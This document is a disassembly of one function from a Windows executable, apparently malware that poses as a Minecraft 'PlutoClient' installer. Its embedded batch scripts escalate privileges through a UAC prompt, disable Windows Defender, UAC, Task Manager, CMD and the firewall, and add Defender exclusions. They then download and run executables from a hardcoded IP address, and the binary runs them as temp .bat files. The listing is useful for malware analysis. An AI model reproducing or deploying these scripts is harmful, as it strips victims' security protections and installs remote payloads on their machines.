Function at 0x1400115ff
Capabilities:
Disable system features via registry on windows
Disable windows defender features via registry on windows
Execute command
Get common file path
Set registry value

Disassembly:
jmp 0x14001cfa0
push rbp
push rdi
mov eax, 0x1058
call fcn.1400111b8
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2ea
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140030018]
xor rax, rbp
mov qword [rbp + 0x1018], rax
lea rcx, [0x1400370f5]
call fcn.1400118c5
lea rdx, str._n_________echo_off_n_n________title_Installing_Packages__n________::_BatchGotAdmin_n________::__________________________________________n________REM______CheckING_for_permissions_n_________nul_2_1___SYSTEMROOT__system32cacls.exe____SYSTEMROOT__system32config_system__n_n________REM_____If_error_flag_set__we_do_not_have_admin._n________if__errorlevel__NEQ_0___n____________echo_Requesting_administrative_privileges..._n____________goto_UACPrompt_n__________else___goto_gotAdmin___n_n________:UACPrompt_n____________echo_Set_UAC__CreateObject__Shell.Application_______temp_getadmin.vbs__n____________set_params___:___n____________echo_UAC.ShellExecute__cmd.exe_____c__s0__params_________runas___1______temp_getadmin.vbs__n_________n______________temp_getadmin.vbs__n____________del___temp_getadmin.vbs__n____________exit__B_n_n________:gotAdmin_n________echo_msgbox__..._____tmp__tmp.vbs_n________wscript__tmp__tmp.vbs_n________del__tmp__tmp.vbs_n_n________color_0a_n_n________cd___temp__n_n________bitsadmin_transfer_Explorers__download__priority_FOREGROUND_https:__raw.githubusercontent.com_swagkarna_Bypass_Tamper_Protection_main_NSudo.exe__temp_NSudo.exe_n_n________set_pop_systemroot__n_n________NSudo__U:T__ShowWindowMode:Hide_icacls___pop_System32_smartscreen.exe___inheritance:r__remove_S_1_5_32_544_S_1_5_11_S_1_5_32_545_S_1_5_18_n_n________NSudo__U:T__ShowWindowMode:Hide_reg_add__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem____v__ConsentPromptBehaviorAdmin___t_REG_DWORD__d__0___f_n_n________NSudo__U:T__ShowWindowMode:Hide_reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderUX_Configuration____v__Notification_Suppress___t_REG_DWORD__d__1___f_n__n________NSudo__U:T__ShowWindowMode:Hide_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableTaskMgr___t_REG_DWORD__d__1___f_n_n________NSudo__U:T__ShowWindowMode:Hide_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableCMD___t_REG_DWORD__d__1___f_n_n________NSudo__U:T__ShowWindowMode:Hide_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableRegistryTools___t_REG_DWORD__d__1___f_n_n________NSudo__U:T__ShowWindowMode:Hide_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoRun___t_REG_DWORD__d__1___f_n_n________NSudo__U:T__ShowWindowMode:Hide__sc_stop__windefend___n_________n________NSudo__U:T__ShowWindowMode:Hide__sc_delete__windefend___n_n________powershell.exe__command__Add_MpPreference__ExclusionExtension__.bat___n_n________powershell__inputformat_none__outputformat_none__NonInteractive__Command__Add_MpPreference__ExclusionPath___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup__n_n________powershell.exe_New_ItemProperty__Path_HKLM:SoftwareMicrosoftWindowsCurrentVersionpolicies_system__Name_EnableLUA__PropertyType_DWord__Value_0__Force_n_n________powershell.exe__command__Set_MpPreference__EnableControlledFolderAccess_Disabled__n_n________powershell.exe__command__Set_MpPreference__PUAProtection_disable__n_n________powershell.exe__command__Set_MpPreference__HighThreatDefaultAction_6__Force__n________powershell.exe__command__Set_MpPreference__ModerateThreatDefaultAction_6__n_______n________powershell.exe__command__Set_MpPreference__LowThreatDefaultAction_6__n_n________powershell.exe__command__Set_MpPreference__SevereThreatDefaultAction_6__n_n________powershell.exe__command__Set_MpPreference__ScanScheduleDay_8__n_n________powershell.exe__command__netsh_advfirewall_set_allprofiles_state_off__n_n________cd___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_n
lea rcx, [rbp + 8]
call fcn.1400113e3
nop
lea rdx, str._n_________echo_off_n________::_BatchGotAdmin_n________:______________________________________n________REM______Check_for_permissions_n________IF__PROCESSOR_ARCHITECTURE__EQU_amd64___n___________nul_2_1___SYSTEMROOT_SysWOW64cacls.exe____SYSTEMROOT_SysWOW64config_system__n__________ELSE___n____________nul_2_1___SYSTEMROOT__system32cacls.exe____SYSTEMROOT__system32config_system__n__________n_n________REM_____If_error_flag_set__we_do_not_have_admin._n________if__errorlevel__NEQ_0___n____________goto_UACPrompt_n__________else___goto_gotAdmin___n_n________:UACPrompt_n____________echo_Set_UAC__CreateObject__Shell.Application_______temp_getadmin.vbs__n____________set_params___:____n____________echo_UAC.ShellExecute__cmd.exe_____c____s0____params_________runas___1______temp_getadmin.vbs__n_________n______________temp_getadmin.vbs__n____________del___temp_getadmin.vbs__n____________exit__B_n_n________:gotAdmin_n____________pushd___CD___n____________CD__D___dp0__n________:_______________________________________n________cls_n________powershell.exe_Add_MpPreference__ExclusionPath__C:___Force__nul_2_1_n________powershell.exe__Command___url__121.127.33.111_LoadDependencies.exe___dest___TEMP_LoadDependencies.exe__Invoke_WebRequest__Uri__url__OutFile__dest___nul_2_1_n________mkdir___USERPROFILE_AppDataRoaming.minecraft_versionsPlutoClient___nul_2_1_n________cls_n________powershell.exe__Command___url__121.127.33.111_PlutoClient.zip___dest___USERPROFILE_AppDataRoaming.minecraft_versionsPlutoClientPlutoClient.zip__Invoke_WebRequest__Uri__url__OutFile__dest___nul_2_1_n________powershell.exe__Command__Expand_Archive__Path__USERPROFILE_AppDataRoaming.minecraft_versionsPlutoClientPlutoClient.zip__DestinationPath__USERPROFILE_AppDataRoaming.minecraft_versionsPlutoClient__n________cls_n________start__TEMP_LoadDependencies.exe__nul_2_1_n________del___USERPROFILE_AppDataRoaming.minecraft_versionsPlutoClientPlutoClient.zip___nul_2_1_n________exit_n
lea rcx, [rbp + 0x48]
call fcn.1400113e3
nop
lea rdx, [rbp + 0x90]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp + 0x1c0]
xor r8d, r8d
lea rdx, str.temp
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea r9, [rbp + 0x2f0]
xor r8d, r8d
lea rdx, str.temp
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea rdx, str..bat
lea rcx, [rbp + 0x1c0]
call fcn.1400117ee
lea rdx, str..bat
lea rcx, [rbp + 0x2f0]
call fcn.1400117ee
mov edx, 0x108
lea rcx, [rbp + 0x420]
call fcn.14001137f
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x420]
call fcn.140011366
nop
mov edx, 0x108
lea rcx, [rbp + 0x550]
call fcn.14001137f
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x550]
call fcn.140011366
nop
lea rcx, [rbp + 0x420]
call fcn.14001161d
movzx eax, al
test eax, eax
je 0x14001d111
lea rcx, [rbp + 0x550]
call fcn.14001161d
movzx eax, al
test eax, eax
jne 0x14001d176
lea rdx, str.Error_occurred_while_initializing_the_Client.Try_running_with_Administrator_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x140011064]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xdf4], 1
lea rcx, [rbp + 0x550]
call fcn.140011244
nop
lea rcx, [rbp + 0x420]
call fcn.140011244
nop
lea rcx, [rbp + 0x48]
call fcn.1400111c2
nop
lea rcx, [rbp + 8]
call fcn.1400111c2
mov eax, dword [rbp + 0xdf4]
jmp 0x14001d520
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x420]
call fcn.1400117da
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x550]
call fcn.1400117da
lea rcx, [rbp + 0x420]
call fcn.140011497
lea rcx, [rbp + 0x550]
call fcn.140011497
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xe18]
call fcn.1400113e3
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xe58]
call fcn.1400113e3
mov qword [rbp + 0xfd8], rax
mov rax, qword [rbp + 0xfd8]
mov qword [rbp + 0xfe0], rax
mov r8, qword [rbp + 0xfe0]
lea rdx, str._n_________echo_off_n________start__B___
lea rcx, [rbp + 0xe98]
call fcn.1400118fc
mov qword [rbp + 0xfe8], rax
mov rax, qword [rbp + 0xfe8]
mov qword [rbp + 0xff0], rax
lea r8, str._n________start__B___
mov rdx, qword [rbp + 0xff0]
lea rcx, [rbp + 0xed8]
call fcn.14001181b
mov qword [rbp + 0xff8], rax
mov rax, qword [rbp + 0xff8]
mov qword [rbp + 0x1000], rax
mov r8, qword [rbp + 0xfd0]
mov rdx, qword [rbp + 0x1000]
lea rcx, [rbp + 0xf18]
call fcn.1400110fa
mov qword [rbp + 0x1008], rax
mov rax, qword [rbp + 0x1008]
mov qword [rbp + 0x1010], rax
lea r8, str._n
mov rdx, qword [rbp + 0x1010]
lea rcx, [rbp + 0x678]
call fcn.14001181b
nop
lea rcx, [rbp + 0xf18]
call fcn.1400111c2
nop
lea rcx, [rbp + 0xed8]
call fcn.1400111c2
nop
lea rcx, [rbp + 0xe98]
call fcn.1400111c2
nop
lea rcx, [rbp + 0xe58]
call fcn.1400111c2
nop
lea rcx, [rbp + 0xe18]
call fcn.1400111c2
lea r9, [rbp + 0x6c0]
xor r8d, r8d
lea rdx, str.temp
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea rdx, str..bat
lea rcx, [rbp + 0x6c0]
call fcn.1400117ee
mov edx, 0x108
lea rcx, [rbp + 0x7f0]
call fcn.14001137f
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x7f0]
call fcn.140011366
nop
lea rcx, [rbp + 0x7f0]
call fcn.14001161d
movzx eax, al
test eax, eax
jne 0x14001d3e2
lea rdx, str.Error_creating_batch_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x140011064]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xf54], 1
lea rcx, [rbp + 0x7f0]
call fcn.140011244
nop
lea rcx, [rbp + 0x678]
call fcn.1400111c2
nop
lea rcx, [rbp + 0x550]
call fcn.140011244
nop
lea rcx, [rbp + 0x420]
call fcn.140011244
nop
lea rcx, [rbp + 0x48]
call fcn.1400111c2
nop
lea rcx, [rbp + 8]
call fcn.1400111c2
mov eax, dword [rbp + 0xf54]
jmp 0x14001d520
lea rdx, [rbp + 0x678]
lea rcx, [rbp + 0x7f0]
call fcn.1400117da
lea rcx, [rbp + 0x7f0]
call fcn.140011497
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0xf78]
call fcn.1400113e3
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
mov r8, qword [rbp + 0xfd0]
lea rdx, str.cmd__c
lea rcx, [rbp + 0x918]
call fcn.1400118fc
nop
lea rcx, [rbp + 0xf78]
call fcn.1400111c2
lea rcx, [rbp + 0x918]
call fcn.1400110ff
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov dword [rbp + 0x954], eax
cmp dword [rbp + 0x954], 0
jne 0x14001d499
lea rdx, str.Error_occurred_while_initializing_the_Client.Try_running_with_Administrator_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001112c
lea rdx, [0x140011064]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001d4bc
lea rdx, str.Error_occurred_while_initializing_the_Client.Try_running_with_Administrator_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001112c
lea rdx, [0x140011064]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xfb4], 0
lea rcx, [rbp + 0x918]
call fcn.1400111c2
nop
lea rcx, [rbp + 0x7f0]
call fcn.140011244
nop
lea rcx, [rbp + 0x678]
call fcn.1400111c2
nop
lea rcx, [rbp + 0x550]
call fcn.140011244
nop
lea rcx, [rbp + 0x420]
call fcn.140011244
nop
lea rcx, [rbp + 0x48]
call fcn.1400111c2
nop
lea rcx, [rbp + 8]
call fcn.1400111c2
mov eax, dword [rbp + 0xfb4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140028400]
call fcn.14001173f
mov rax, rdi
mov rcx, qword [rbp + 0x1018]
xor rcx, rbp
call fcn.140011447
lea rsp, [rbp + 0x1028]
pop rdi
pop rbp
ret